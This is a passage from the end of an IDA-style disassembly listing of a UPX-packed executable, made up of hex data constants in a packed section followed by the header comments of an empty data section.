		dd 6AABE791h, 76D3BB7Dh, 43D23DE7h, 3C15D952h, 75400037h
		dd 0DCDAB693h, 74961B15h, 0D4B921D5h, 51624851h, 577FCB14h
		dd 1F19C924h, 6300BB9Ah, 32399857h, 0CE149994h,	34CDD61Dh
		dd 16FFC2EFh, 19A8F750h, 39EFF1Bh, 0B8BB9FAFh, 0F906B902h
		dd 1D85027Dh, 0A392E7F9h, 17E7D487h, 0DFA5C10Dh, 81E3AFAFh
		dd 0A567DFF7h, 99991A21h, 14E9FA15h, 9FE9C954h,	39D5D261h
		dd 9368E514h, 0D0CF5B05h, 3D4781D4h, 8D9581D2h,	9FD5D1B6h
		dd 5F095355h, 0EFE144EBh, 0B776D43h, 0A38D870Bh, 3BCECA87h
		dd 376AFFDh, 155635B3h,	69DBCCE3h, 8423C09Dh, 1F781831h
		dd 3F8A133h, 17E4D55Dh,	0D3D1487Dh, 54427CCBh, 9FD8EBC9h
		dd 0B78BBD3Fh, 0DAFA8E3Dh, 1A773F6Eh, 3074D5F6h, 0B7C7FF02h
		dd 4931D8B4h, 0DBE7F21Fh, 0EFF7F833h, 0F711B5E0h, 0CED4266h
		dd 398A5980h, 0C74FCDB8h, 35F753D4h, 528AAD13h,	0FF6D9954h
		dd 0CF1A0905h, 7D596203h, 37465449h, 0E7E4CC8Eh, 1D47A53Bh
		dd 5246DDFFh, 9931BB56h, 0AE83E12Ah, 0FF4CC396h, 0E2B9499h
		dd 489D53E7h, 187A8E07h, 656DC8AAh, 2E8C1D7h, 0DCC7DE9Ch
		dd 0D42953A4h, 729298Ah, 0F7972087h, 0B6C85BFFh, 0E7F6BA0Eh
		dd 224D8162h, 0A5516F20h, 0F772BDACh, 1478F9A1h, 5397F1ACh
		dd 0A647D5Dh, 0ACD72370h, 0D03D6837h, 8CBDB24Ah, 7E2012Fh
		dd 0D1299104h, 0CE02E040h, 1B06117Dh, 1BB9C72Eh, 73BCC941h
		dd 0C3E99177h, 790A3C9h, 6003D1AAh, 3B669726h, 924DB2CFh
		dd 62E33CB0h, 33CD9702h, 5043CFC3h, 5FCCFA2Dh, 0D3962A9Ch
		dd 874A8A6Fh, 0DE9007BFh, 37CF4384h, 30A5CB54h,	232B6D2Dh
		dd 0FFCE5787h, 80E38A95h, 0F7F3BA71h, 37119365h, 3699D371h
		dd 0BD662DFFh, 0D5A0910Dh, 6A11E01Ch, 46A28268h, 0B118D61h
		dd 91043D2Bh, 5F7DCD3Fh, 0ADF31E52h, 33F99EDEh,	0BF46303Bh
		dd 69C5D058h, 0AE94B214h, 585DFD63h, 0F98D24Bh,	5225BDC8h
UPX2		ends

; Section 4. (virtual address 00015000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00015000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 31435000h
		align 2000h
_idata2		ends


		end start